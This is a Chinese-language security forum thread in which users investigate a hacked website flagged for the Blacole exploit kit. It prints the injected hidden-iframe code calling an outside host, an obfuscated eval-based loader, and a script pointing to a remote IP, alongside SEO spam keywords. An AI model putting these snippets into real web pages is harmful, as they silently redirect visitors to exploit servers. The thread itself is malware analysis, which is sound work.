http://nsiteonline.com/Forum/index.php?/topic/59-

墨家小子

2013/4/6        15:49:34        已删除         l\X        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0ZXDC7IK\index[1].htm\00000155.js        JS/Exploit-Blacole.gc (特洛伊)

2013/4/6        15:49:46        已删除         l\X        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8TD6KSWD\index[2].js\00000155.js        JS/Exploit-Blacole.gc (特洛伊)

蓝核

1. document.write("<iframe style="position:fixed;top:0px;left:-500px;" src="http://gowfqzedvq.serveuser.com/counter/stats.php" height="50" width="100"></iframe>");

复制代码

要哭

1. <link rel="canonical" href="http://nsiteonline.com/Forum/index.php?/topic/59-%d0%b4%d0%b5%d0%b2%d0%ba%d0%b8-%d1%81%d1%81%d1%83%d1%82-%d0%bd%d0%b0-%d0%bf%d0%b0%d1%86%d0%b0%d0%bd%d0%be%d0%b2-%d1%81%d0%b5%d0%ba%d1%81-%d0%b2-%d0%b1%d0%b5%d0%bb%d1%8b%d1%85-%d0%ba%d0%be%d0%bb%d0%b3%d0%be%d1%82%d0%ba%d0%b0%d1%85/" />
   

复制代码

这个解马解出来是乱码中文……
我等会去下网马来看看具体是啥

不过这个

d

',
'开什么店挣钱 1.585',
'在家创业项目 0.825',
'农村好项目 1.215'];
var minwin_kwd_list =[
'京东商城首页 1',
'在家里赚钱 1',
'九寨沟旅游 1',
'农村别墅设计 1',
'云南丽江旅游 1',
'西双版纳旅游 1',
'十大赚钱行业 1',
'干什么最赚钱 1',
'鼓浪屿旅游 1',
'农村致富项目 1',
'学什么好赚钱 1'];

真恶心……

蓝核

1. 
   
2. <script>ww=window;v="v"+"al";if(ww.document)try{document.body++}catch(gdsgsdg){asd=0;try{d=document}catch(agdsg){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(100,110,97,114,109,100,108,113,46,118,112,102,116,100,38,31,60,104,100,111,97,108,99,29,115,115,119,105,101,60,90,31,112,110,113,102,116,104,109,107,58,101,103,117,101,99,57,113,111,111,56,45,112,119,57,105,101,101,114,55,45,52,46,45,112,119,57,89,34,31,113,111,99,60,90,31,104,115,114,109,58,46,45,100,111,118,100,110,122,100,98,115,113,45,113,98,114,117,99,114,115,100,112,43,99,110,107,44,99,110,115,107,116,100,112,44,115,115,95,113,115,45,110,101,112,91,32,29,104,100,103,100,104,115,59,89,34,52,46,89,34,31,117,102,100,115,102,58,92,33,47,45,48,91,32,59,60,46,103,99,114,96,107,98,62,33,39,56);}w=f;s=[];for(i=0;-i+168!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}</script>

复制代码

这个没懂

解开这个？

1. 
   
2. <script>ww=window;v="v"+"al";if(ww.document)try{document.body++}catch(gdsgsdg){asd=0;try{d=document}catch(agdsg){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(100narmdlq.vpftd&<hdoalcsswie<Zpnqfthmk:eguec9qoo8-pw9ieer7-4.-pw9Y"qoc<Zhsrm:.-dovdnzdbsq-qbrucrsdp+cnk,cnsktdp,ss_qs-nep[ hdgdhs;Y"4.Y"ufdsf:\!/-0[ ;<.gcr`kb>!'8);}w=f;s=[];for(i=0;-i+168!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}</script>

复制代码

蓝核

1. </head><script type="text/javascript">
   
2. var sa = "http://202.102.110.207:8080/"; var pp = "107&pre="+(new Date()).getTime();

复制代码

我觉得我黔驴技穷了……

给出的第一个谷歌已经拉黑了……后面不知道是失效了还是啥